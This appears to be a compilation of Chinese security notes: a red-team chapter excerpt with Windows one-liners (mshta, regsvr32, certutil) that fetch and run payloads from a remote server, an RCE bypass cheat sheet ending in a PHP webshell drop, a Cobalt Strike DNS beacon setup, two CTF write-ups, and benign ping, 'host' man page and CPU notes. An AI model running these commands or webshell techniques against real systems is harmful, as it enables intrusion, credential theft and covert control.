如果你通过应用程序漏洞获得了命令执行,又或者是通过 Office 或 PDF 文件获取了 shell,那么接下来的步骤可能是下载并执行你的辅助恶意软件。
对于这些情况,我们可以利用 Windows 的一些特性来完成任务。大多数这些例子来自 arno0x0x 和 @subtee 的卓越的研究成果( https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code )。
* mshta vbscript:Close(Execute(“GetObject(““script: http://webserver/payload.sct ””)”))
* mshta http://webserver/payload.hta
* rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
* regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
* certutil -urlcache -split -f http://webserver/payload payload
* certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
* certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
这些只是其中几个例子,还有更多通过命令行来执行辅助代码的方法。你还可以继续研究,看看是否还有其他技术可以用来从传统的日志记录中隐匿行踪。
## 从本地管理员权限到系统权限
从本地管理员帐户权限提升到 System 权限可以通过多种方式完成。当然,最常见的方法是使用 Metasploit 的 `getsystem`,但这并不总是可行的。[decoder-it](https://github.com/decoder-it/psgetsystem) 创建了一个非常棒的 PowerShell 脚本,通过创建一个新进程并将该新进程的父进程 PID 设置为 System 所拥有,从而让本地管理员权限的 PowerShell 提示符转到 System 权限。可以在[此处](https://github.com/decoder-it/psgetsystem
)找到此 PowerShell 脚本。
执行以下操作:
* PS> . .\psgetsys.ps1
* PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>)

## 在不触及 LSASS 的情况下检索 NTLM 哈希值
Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。在这种攻击之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限制。Elad 开发了一种称为 `Internal Monologue Attack` 的攻击,它执行以下操作:
* 如上所述,通过将 `LMCompatibilityLevel`、`NTLMMinClientSec` 和 `RestrictSendingNTLMTraffic` 更改为适当的值来禁用 NetNTLMv1 的预防性控制。
* 从当前正在运行的进程中检索所有非网络登录令牌并模拟关联的用户。
* 对于每个模拟用户,获得正在运行的用户 token,模拟用户同 NTLM SSP 进行交互,控制 Challenge 为固定值,导出返回的 Net-NTLMv1 响应。
* 恢复 `LMCompatibilityLevel`、`NTLMMinClientSec` 和 `RestrictSendingNTLMTraffic` 的原始值。
* [https://github.com/eladshamir/Internal-Monologue]

> `译者注` 参考资料:[Windows 下的密码 hash——Net-NTLMv1 介绍](http://www.mottoin.com/tech/110082.html)
## 使用防御工具构建训练和监控的实验环境
测试我们的恶意软件的一个很大挑战是我们需要建立一个快速测试的环境。Chris Long 构建的一个名为 [Detection Lab](https://github.com/clong/DetectionLab) 的强大工具是 Packer 和 Vagrant 脚本的合集,可让你快速将 Windows Active Directory 部署上线。该工具包含一系列端点安全和日志记录的最佳实践工具。`Detection Lab` 由四个主机组成(https://medium.com/@clong/introducing-detection-lab-61db34bed6ae ):
* DC:一个 Windows 2016域控制器
* WEF:管理 Windows 事件集合(Windows Event Collection)的 Windows 2016服务器
* Win10:模拟非服务器端点的 Windows 10主机
* Logger:运行 Splunk 和一个 Fleet 服务器的 Ubuntu 16.04主机
## 本章总结
对于红队来说,窍门和技巧是我们入侵艺术的一部分。我们必须不断研究攻击用户、攻陷系统和逃避检测的更好方法。这可没有捷径,需要数小时到数年的练习、汗水和眼泪。
|
sec-knowleage
|
# Baby hands (crypto 300)
###ENG
[PL](#pl-version)
We get some [data](intercepted.txt) with many triplets denoted as (d,c,n).
Our first idea was to check if maybe a pair of moduli share the same prime, but we found nothing.
It was a bit confusing because there are not that many attacks which require many payloads.
And we were right - this one didn't.
It needed only one payload, and each one gave the flag.
If we look at those payloads we can see that `d` is very very large, which actually suggest that the corresponding exponent `e` might be rather small.
There is an efficient attack agains `large public exponent` - Wiener attack, and it is exactly what we were supposed to do.
So we simply run:
```
# sage
n = 162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677
e = 64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109
c = 161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009
c_fracs = continued_fraction(e / n).convergents()
test_message = 42
test_message_encryted = pow(test_message, e, n)
for i in xrange(len(c_fracs)):
if pow(test_message_encryted, c_fracs[i].denom(), n) == test_message:
d = c_fracs[i].denom()
break
flag = pow(c, d, n)
print(flag)
```
And got `flag{G3t_1t?_1t_h4s_4_sm4ll_d}`
###PL version
Dostajemy [dane](intercepted.txt) z wieloma trójkami oznaczonymi jako (d,c,n).
Pierwszy pomysł to sprawdzenie czy nie ma pary modulusów dzielących ten sam czynnik pierwszy, ale nic z tego.
Było to trochę mylące, bo niewiele jest ataków które wymagają wielu wiadomości i kluczy.
I mieliśmy rację - ten atak wcale ich nie wymagał.
Wymagał tylko jednej trójki i każda trójka dawała flagę.
Jeśli popatrzymy dokładnie na dane zauważymy że `d` jest bardzo bardzo duże, co sugeruje, że odpowiadający mu wykładnik `e` może być dość mały.
Istnieje efektywny atak dla `dużego wykładnika publicznego` - atak Wienera i było to dokładnie to czego użyliśmy:
Uruchomiliśmy:
```
# sage
n = 162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677
e = 64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109
c = 161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009
c_fracs = continued_fraction(e / n).convergents()
test_message = 42
test_message_encryted = pow(test_message, e, n)
for i in xrange(len(c_fracs)):
if pow(test_message_encryted, c_fracs[i].denom(), n) == test_message:
d = c_fracs[i].denom()
break
flag = pow(c, d, n)
print(flag)
```
I dostaliśmy `flag{G3t_1t?_1t_h4s_4_sm4ll_d}`
|
sec-knowleage
|
# RCE
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**描述**
由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。
**相关工具**
- [commixproject/commix](https://github.com/commixproject/commix)
**相关案例**
- [静态站点托管平台仅能托管静态资源?](https://tttang.com/archive/1501/)
- [The Cloudflare Bug Bounty program and Cloudflare Pages](https://blog.cloudflare.com/pages-bug-bounty/)
- [Cloudflare Pages, part 1: The fellowship of the secret](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt1/)
- [Cloudflare Pages, part 2: The two privescs](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt2/)
**writeup**
- [BUUCTF--[第二章 web进阶]死亡ping命令](https://blog.csdn.net/qq_45414878/article/details/109672659)
---
## 绕过技巧
### 空格代替
空格在 bash 下,可以用以下字符代替空格
```
<
${IFS}
$IFS$9
%09
```
```
cat</etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat%09/etc/passwd
```
$IFS 在 linux 下表示分隔符,只有 cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa 当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。
### 截断符号
比如测试 ping 功能的点,要求填写一个 ip 参数这样的题目,这个时候就需要测试截断符号,将你输入的 ip 参数和后面要执行的命令隔开。首先测试所有的截断符号:
```
$
;
|
-
(
)
`
||
&&
&
}
{
%0a
```
利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt 这样就可以达到同时执行两条命令的效果
### 编码
这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。
```
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` /etc/passwd
```
针对一些代码执行的场景,可以通过在 base64 中添加干扰字符的方式尝试绕过
```
success-inject
c3VjY2Vzcy1pbmplY3Q=
```
php
```php
<?php
$str='--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=';
echo base64_decode($str);
?>
```
python
```python
import base64
leleyyds = base64.b64decode("--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=")
print(leleyyds.decode())
```
### 单引号
```
cat /etc/pass'w'd
```
### 反斜杠利用
linux 下创建文件的命令可以用 `1>1` 创建文件名为 1 的空文件
`ls>1` 可以直接把 ls 的内容导入一个文件中, 但是会默认追加 \n
**Linux**
```
w>hp\\
w>c.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>ls
sh ls
```
- w 长度最短的命令
- ls -t 以创建时间来列出当前目录下所有文件
- 文件列表以[ [ 换 行符] ]分割每个文件
- 引入 `\` 转义ls时的换行
- 换行不影响命令执行
- 成功构造任意命令执行,写入Webshell
```bash
ls -t
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d>c.php
```
### Fuzz字典
- [RCE字典](https://github.com/ffffffff0x/AboutSecurity/tree/master/Payload/RCE)
---
## 修复方案
* 避免命令用户可控
* 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等
|
sec-knowleage
|
import subprocess
for byte in range(256):
data=open("png.png","rb").read()
hdr="89504e470d0a1a0a0000000d494844520000029b000010000802000000b210bd54"
hdr=hdr.decode("hex")
data=hdr+data[len(hdr):]
idats=[]
ind=0
while True:
ind=data.find("IDAT", ind+1)
if ind==-1:
break
idats.append(ind)
print idats
data=[ord(c) for c in data]
def putint(pos, n):
data[pos+3]=n%256
n/=256
data[pos+2]=n%256
n/=256
data[pos+1]=n%256
n/=256
data[pos]=n%256
putint(0x21, 16000) # Size of IDAT
data[0x25]=ord('I') # Fix IDAT name
data[0xbbc0]=byte
putint(0xbbc5, 16000) # Size of IDAT
putint(0x138d9, 0x46d70176) # CRC
putint(0x138dd, 16000) # Size of IDAT
data[0x138e1]=ord('I')
data[0x138e2]=ord('D')
putint(0x1d3b6, 0xae426082) # CRC
open("png3","wb").write("".join([chr(c) for c in data]))
try:
subprocess.check_output(["pngcheck","png3"])
print byte,"is good"
break
except:
print byte,"is bad"
continue
|
sec-knowleage
|
.\" ++Copyright++ 1993
.\" -
.\" Copyright (c) 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\" -
.\" Portions Copyright (c) 1993 by Digital Equipment Corporation.
.\"
.\" Permission to use, copy, modify, and distribute this software for any
.\" purpose with or without fee is hereby granted, provided that the above
.\" copyright notice and this permission notice appear in all copies, and that
.\" the name of Digital Equipment Corporation not be used in advertising or
.\" publicity pertaining to distribution of the document or software without
.\" specific, written prior permission.
.\"
.\" THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL
.\" WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES
.\" OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT
.\" CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
.\" DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
.\" PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
.\" ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
.\" SOFTWARE.
.\" -
.\" --Copyright--
.TH HOST 1 "1994年12月15日" BSD 4
.SH NAME (名字)
.B host \- 使用域名服务器查询主机名字
.SH SYNOPSIS (总览)
.B host
[
.B -l
]
[
.B -v
]
[
.B -w
]
[
.B -r
]
[
.B -d
]
[
.B -t
.IR querytype
]
[
.B -a
]
.IR host
[
.IR server
]
.SH DESCRIPTION (描述)
.B Host
查询 Internet 主机 的 信息. 它 通过 一组 分布在 国家间的 互连服务器 获取
这些 信息. 缺省情况下, host 只是 简单的 做 主机名字 和 Internet 地址 的 转换.
然而 通过
.B -t
或
.B -a
选项, 它 可以 用来 查找 由 域名服务器 维护的 某个主机 的 全部信息.
.PP
参数 可以是 主机名称, 也可以是 数字地址. 此程序 首先 把它 当做 主机的
数字地址, 如果 尝试 失败, 再把它 当做 主机名称. 主机的 数字地址 由 句点隔开的
四个 十进位制数 组成, 例如 128.6.4.194. 主机名称 由 句点隔开的 名字 组成,
例如 topaz.rutgers.edu. 除非 名字 以句点 结尾, 否则 本地域名 将 自动 添加在
后面. 因此, Rutgers 的 用户 可以 输入
.PP
host topaz
.PP
它 实际上 查找 "topaz.rutgers.edu".
如果 尝试 失败, 就用 原来输入的 名字 再试一次 (这里就是 "topaz").
邮件 和 其他 网络工具 用了 同样的 策略.
添加在 名字 后面 的 后缀 来自 调用
.B hostname(1)
的 结果, 使用了 第一个点 后面的 全部 数据.
(另见 下面
.IR 定制查询主机名字
的 描述. )
.PP
第一个参数 是 你 打算查询的 主机名称.
如果 是 数字地址, 就 执行
\(lq 反向查询 (inverse query) \(rq
也就是说, 域名系统 查看 一系列 独立的 数据库, 把 数字地址 转换成 名字.
.PP
第二个 参数 是 可选的. 它 允许你 指定查询 某个 特定的 服务器. 如果 没有 使用
这个参数, 就用 缺省 服务器 (一般是本地机).
.PP
如果 指定了 名字, 你 可以见到 三个 不同种类的 输出. 这里是 它们的 例子:
.PP
% host sun4
.br
sun4.rutgers.edu is a nickname for ATHOS.RUTGERS.EDU
.br
ATHOS.RUTGERS.EDU has address 128.6.5.46
.br
ATHOS.RUTGERS.EDU has address 128.6.4.4
.br
ATHOS.RUTGERS.EDU mail is handled by ARAMIS.RUTGERS.EDU
.PP
用户 键入的命令 是 \(lq
.B host sun4
\(rq 第一行 表明 \(lq sun4.rutgers.edu \(rq
实际上 是 别名. 正式名字 是 \(lq ATHOS.RUTGERS.EDU \(rq
接下来 两行 显示 地址. 如果 系统 有 多个 网络接口, host 就 分别 显示 每个
接口 的 地址. 最后一行 表明
ATHOS.RUTGERS.EDU
不接收 属于它的 邮件, 邮件 由
ARAMIS.RUTGERS.EDU
处理. 由于 某些系统 拥有 多个 处理邮件的 系统, 可能 会有 多行 这样的显示.
从 技术角度 看, 我们 认为 每个 能够 接收邮件 的 系统 应该有 这样的项. 如果
系统 接收 它自己的 邮件, 应该 有一项 提及 该系统 自身; 例如:
.PP
Li XXX mail is handled by XXX
.PP
然而, 很多 能够 接收 自己邮件 的 系统 不愿意 提及 这个事实. 如果 系统 有一项
.br
Li mail is handled by ,
.br
但是 没有 地址, 这 表明 它 不是 Internet 的 一部分, 而是 在 网络上 转发
邮件 的 系统. Usenet, Bitnet 和 许多 其他网络 都有 类似项.
.SH 选项
在 主机名字 前面 能够 使用 很多 选项. 大多数 选项 只对 维护 域名数据库 有意义.
.TP
.B \-w
这一项 导致
.B host
永久 等待 应答. 正常情况下, 大约 一分钟后 产生 超时.
.TP
.B \-v
以 "繁琐" 格式 输出, 它是 正式的 主域文件格式, 在 手册页
named(8)
中 有描述. 没有 这个选项 时, 基本术语 的 输出 仍然 遵循 这个 格式,
但是 试图 对 普通用户 显示的 更智能些. 如果 不使用 \-v ,
所有的 "a", "mx", 和 "cname" 项目 显示成 相应的 "has address",
"mail is handled by" 和 "is a nickname for", 而且 不显示 TTL 和类型.
.TP
.B \-r
查询时 关闭 递归. 这 意味着 名字服务器 只返回 它 自身 数据库 的 数据.
不向 其他服务器 询问 更多 信息.
.TP
.B \-d
打开 调试功能. 显示 网络应答细节.
.TP
\fB-t\fP \fIquerytype\fP
允许 指定
.IR querytype
来 查询 某个信息. 手册页
named(8)
中 定义了 这些 参数. 目前支持的 类型有:
a ,
ns ,
md ,
mf ,
cname ,
soa ,
mb ,
mg ,
mr ,
null ,
wks ,
ptr ,
hinfo ,
minfo ,
mx ,
uinfo ,
uid ,
gid ,
unspec .
另外, 通配符 (可以 写成
any
或
*
) 可以 指定 上面的 任意(全部) 类型. 类型 必须是 小写字符.
注意 缺省 搜索顺序 首先是
a ,
然后是
mx ,
除非 打开了 -v 选项, 使 缺省值 只是
a .
\-t
选项 在过滤
.IR host
返回的信息 时 非常有用. 更多的 内容 参见 下面
\-l
选项 的 说明.
.TP
.B -a
全部 ;
等同于
\-v \-t any
.TP
.B -l
列出 全部域项; 例如:
host -l rutgers.edu
将 列出 rutgers.edu 域 中 所有的 主机.
\-t
选项 可以 按需 过滤 收到的信息. 缺省值 是 地址信息, 包括 PTR 和 NS
记录.
.PP
host -l -v -t any rutgers.edu
.PP
命令 以 正式主域文件格式 下载 rutgers.edu 的 全部 区域(zone) 数据.
(然而 由于 某些 复杂原因, SOA 记录 显示了 两次.)
.PP
.B 注意:
-l
执行 全部的 区域 传输, 然后 过滤出 要求的 信息. 所以 万不得已
才用 这个 命令.
.SH 定制查询主机名字
一般说来, 如果 用户 给出的 名字 中 不含 任何 句点, host 就把 缺省域名
添加在 它的末尾. 缺省域名 能够 定义 在
.IR /etc/resolv.conf
中, 但是 通常 从 本机名字 的 第一个 句点 后面 提取.
用户 可以 通过 环境变量
.B LOCALDOMAIN
指定 不同的 缺省域名.
另外, 用户 可以 自定义 主机名字 的 缩写. 缩写 存放在 某个文件 中,
一行 一项, 格式是 一个 缩写名字, 一个 空格, 然后是 完整的 主机名.
这个 名字文件 必须 用
.B HOSTALIASES
环境变量 指出.
.SH 环境变量
.IP HOSTALIASES
名字文件, 含有
.IR (主机别名 , 主机全名)
对.
.SH 文件
.IP /etc/resolv.conf
.SH 另见
.BR named (8),
.BR resolver (5)
.SH BUGS
当你 输入的 名字 不属于 本地域 时, 将会 出现 不希望 的 现象.
请记住 除非 输入的名字 以 点 结尾, 否则 本地域名 总会 附加在 它 后面,
失败后 才使用 原来的 名字.
.PP
\-l
选项 只 联系 指定域 中 的 第一个 名字服务器. 如果 这个 服务器 宕机,
你 应该 手工 指定 一个 服务器. 例如, 要 获取 foo.edu 的清单, 可以 用
.PP
host -t ns foo.edu
.PP
获得 foo.edu 的 全部 名字服务器, 然后 用
.PP
host -l foo.edu xxx
.PP
试验 每一个
xxx
名字服务器, 直到 碰上 能用的.
.SH "[中文版维护人]"
徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
2003/05/13
.SH "《中国Linux论坛man手册页翻译计划》"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# 0x00 简介
DNS Beacon 在绕过防火墙 权限维持上非常有效,DNS beacon http 是最受欢迎的Cobalt Strike功能。
其中原理示意图

当然你如果想很清楚知道这个过程,建议看看DNS的解析过程。
#0x01 DNS Beacon
使用DNS Beacon首先的有一个域名,域名建议用国外的,省去一些不必要的麻烦,域名使用一些通用平常的即可,整个过程配置非常简单一条A记录和几条NS记录
>A记录指向服务器ip >ns记录都指向A记录域名

这里我用的一个国内平台解析做的演示,后面用的A11大佬的域名了
配置好了我们可以用 nslookup 或者 dig +trace 来测试下 是否成功
nslookup
>要测试DNS配置,请打开终端并键入nslookup jibberish.beacon.domain。如果您获得0.0.0.0的A记录回复 - 那么您的DNS设置正确。如果您没有收到回复,那么您的DNS配置不正确,混合HTTP和DNS信标将无法与您通信
dig +trace
>dig +trace testis.ns2.xxxxx.me

可以看到它通过ns记录 找到了我们的服务器ip ,成功后我们就可以配置我们的监听器了

这里最好填域名 也就是A记录

然后确定填上ns记录 英文逗号隔开 ,然后生成马儿测试效果

当点击后会出现一个类似黑屏的logo 然后就是漫长的等待它上线了。
# 0x02 文末
咳咳 身体才是革命的本钱,这篇文章时隔一周才写 ,还是那句话 多喝热水(半小时)
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
## Notesy (crypto, 100p, 1064 solves)
`http://54.152.6.70/
The flag is not in the flag{} format.
HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?
HINT: https://www.youtube.com/watch?v=68BjP5f0ccE`
### PL Version
`for ENG version scroll down`
Pod wskazanym adresem znajduje się strona z textboxem, który szyfruje wpisany text.

Strona robiła zapytanie GET do skryptu encrypt.php, który jako parametr m przyjmował wiadomość do zaszyfrowania. Placeholder w tekst boksie brzmiał `Give me like a note dude`, javascript odmawiał szyfrowania wiadomości krótszych niż 5 znaków. Próbowaliśmy na prawdę różnych rzeczy, wysyłania wiadomości bardzo krótkich i bardzo długich.
Już wiecie co jest flagą? My też nie wiedzieliśmy jak ją wydobyć… przez 20 godzin… trzymając ją w rękach…
Już po godzinie od rozpoczęcia konkursu (nie wiemy kiedy zabraliśmy sie za to zadanie) stwierdziliśmy, że zależność między literkami przedstawia się następująco
```
ABCDEFGHIJKLMNOPQRSTUVWXYZ
UNHMAQWZIDYPRCJKBGVSLOETXF
```
Próbowaliśmy naprawdę nieschematycznego myślenia, ale nic nie pomogło. Dopiero pierwsza wskazówka przyniosła nam myśl, że flagą musi być klucz, a z racji, że to szyfr podstawieniowy kluczem będzie `UNHMAQWZIDYPRCJKBGVSLOETXF`. Najbardziej frustrujące zadanie z jakim się ostatnio spotkaliśmy.
### ENG Version
We are given a link to a web page with a textbox which encrypts entered messages.

The page was making a GET request to a php script encrypt.php, passing our message as parameter. Placeholder on the main site was `Give me like a note dude`, javascript refuses to encrypt messages shorter than 5 characters. We have tried wide range of various attempts: sending short messages directly to php script, really long messages, but nothing succeeded.
Do you already know now what the flag is? We didn't for about 20 hours… while it was right in front of our eyes…
Just an hour after the contest began (we don't know the exact time when we started to work on this task) we've noticed that dependency between letters is as follows:
```
ABCDEFGHIJKLMNOPQRSTUVWXYZ
UNHMAQWZIDYPRCJKBGVSLOETXF
```
We tried to think really out of the box, but that didn't help much. The hint helped us a lot (If you have the ability to encrypt and decrypt, what do you think the flag is?) it became clear that the flag is the cipher's key. But because this was a substitution cipher, there was no key per se. So flag could only be `UNHMAQWZIDYPRCJKBGVSLOETXF`. This was the most frustrating challenge we have faced for a very long time.
|
sec-knowleage
|
ping
===
测试主机之间网络的连通性(ipv4)
## 补充说明
**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
### 语法
```shell
ping (选项) (参数)
```
### 选项
```shell
-d:使用Socket的SO_DEBUG功能;
-c<完成次数>:设置完成要求回应的次数;
-f:极限检测;
-i<间隔秒数>:指定收发信息的间隔时间;
-I<网络界面>:使用指定的网络界面送出数据包;
-l<前置载入>:设置在送出要求信息之前,先行发出的数据包;
-n:只输出数值;
-p<范本样式>:设置填满数据包的范本样式;
-q:不显示指令执行过程,开头和结尾的相关信息除外;
-r:忽略普通的Routing Table,直接将数据包送到远端主机上;
-R:记录路由过程;
-s<数据包大小>:设置数据包的大小;
-t<存活数值>:设置存活数值TTL的大小;
-v:详细显示指令的执行过程。
-w<超时秒数>:无论之前发送或接受了多少包,只要超过此秒数,程序退出;
```
### 参数
目的主机:指定发送ICMP报文的目的主机。
### 实例
```shell
[root@AY1307311912260196fcZ ~]# ping www.jsdig.com
PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data.
64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms
64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=2 ttl=50 time=178 ms
64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=3 ttl=50 time=174 ms
64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=4 ttl=50 time=177 ms
...按Ctrl+C结束
--- host.1.jsdig.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2998ms
rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms
```
|
sec-knowleage
|
# 计算机组成
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
# 计算机工作流程
- 存储器:用于存储数据并在需要时提供数据
- 外部存储器:硬盘、光盘等等
- 内部存取器:
- RAM:内存条
- ROM:BIOS 芯片
- CPU
- 运算器 :对数据进行各种算术运算和逻辑运算,即对数据进行加工处理
- 控制器 :完成协调和指挥整个计算机系统的操作
---
## CPU
CPU 的核心是从程序或应用程序获取指令并执行计算。此过程可以分为三个关键阶段:提取,解码和执行。
CPU 从系统的 RAM 中提取指令,然后解码该指令的实际内容,然后再由 CPU 的相关部分执行该指令。
在 CPU 的结构中,需要尽量了解寄存器,因为程序是把寄存器作为对象来描述的。
**程序计数器**
程序计数器(Program Counter)是用来存储下一条指令所在单元的地址。
程序执行时 PC 的初值为程序第一条指令的地址,在顺序执行程序时,控制器首先按程序计数器所指出的指令地址从内存中取出一条指令,然后分析和执行该指令,同时将PC的值加1指向下一条要执行的指令。
这是一段进行相加的操作,程序启动,在经过编译解析后会由操作系统把硬盘中的程序复制到内存中,示例中是将 123 和 456 进行相加并将结果输出到显示器上。
实际上每个指令和数据都可能分布在不同的地址上,地址 0100 是程序运行的起始位置。windows 等操作系统把程序从硬盘复制到内存后,会将程序计数器作为设定为起始位置 0100,然后执行程序,每执行一条指令后,程序计数器的数据会增加 1(或者直接指向下一条指令的地址),然后,CPU 根据程序计数器的数值,从内存中读取命令并执行,程序计数器控制着程序的流程。
**条件分支和循环机制**
高级语言中的条件控制流程主要分为三种:顺序执行、条件分支、循环判断三种,
- 顺序执行时按照地址的内容顺序的执行指令。
- 条件分支是根据条件执行任意地址的指令。
- 循环是重复执行同一地址的指令。
程序的开始过程和顺序流程是一样的,CPU 从 0100 处开始执行命令,在 0100 和 0101 都是顺序执行,PC 的值顺序 + 1,执行到 0102 地址的指令时,判断 0106 的寄存器的数值大于 0,跳转 (jump) 到 0104 地址的指令,将数值输出到显示器中,然后结束程序,0103 的指令被跳过了,这就和我们程序中的 if() 判断是一样的,在不满足条件的情况下,指令会直接跳过。所以 PC 的执行过程也就没有直接 + 1, 而是下一条指令的地址。
**标志寄存器**
条件和循环分支会使用到 jump(跳转指令),会根据当前的指令来判断是否跳转,上面我们提到了标志寄存器,无论当前累加寄存器的运算结果是正数、负数还是零,标志寄存器都会将其保存 (也负责溢出和奇偶校验)
- 溢出 (overflow): 指运算的结果超过了寄存器的长度范围
- 奇偶校验 (parity check): 指检查运算结果的值是偶数还是奇数
CPU 在进行运算时,标志寄存器的数值会根据当前运算的结果自动设定,运算结果的正、负和零三种状态由标志寄存器的三个位表示。标志寄存器的第一个字节位、第二个字节位、第三个字节位各自的结果都为 1 时,分别代表正数、零和负数。
假设累加寄存器中存储的值 X 和通用寄存器中存储的值 Y 做比较,CPU 会通过减法来进行比较。而无论减法的结果是正数、零还是负数,都会保存到标志寄存器中。结果为正表示 X 比 Y 大,结果为 0 表示 X 和 Y 相等,结果为负表示 X 小于 Y,所以程序的比较指令,在 CPU 内部是做减法运算。
**函数调用机制**
